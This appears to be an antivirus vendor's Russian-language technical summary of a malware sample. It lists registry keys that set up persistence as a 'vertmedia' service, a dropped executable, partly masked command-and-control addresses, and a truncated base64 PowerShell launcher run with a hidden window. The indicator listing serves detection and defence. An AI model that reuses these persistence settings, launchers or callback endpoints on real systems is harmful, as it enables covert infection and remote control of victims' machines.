Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\vertmedia] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\vertmedia] 'ImagePath' = '"%WINDIR%\SysWOW64\vertmedia.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAARgBsAHkAYwB5AHoAZwByAGEAcABkACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFkAdgBuAGEAYQB3AHoAYgB3AGYAYgBzACAAIwA+ACAAJABVAGMAcABnAGYAZABjAHIAbQBlAD0AJwBQA...
- %HOMEPATH%\893.exe
- %HOMEPATH%\893.exe в %WINDIR%\syswow64\vertmedia.exe
- '18#.#31.163.89':7080
- '85.##4.121.33':8443
- http://85.###.121.33:8443/iplk/cone/
- DNS ASK my##c.site
- '%HOMEPATH%\893.exe'
- '%WINDIR%\syswow64\vertmedia.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAARgBsAHkAYwB5AHoAZwByAGEAcABkACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFkAdgBuAGEAYQB3AHoAYgB3AGYAYgBzACAAIwA+ACAAJABVAGMAcABnAGYAZABjAHIAbQBlAD0AJwBQA...' (со скрытым окном)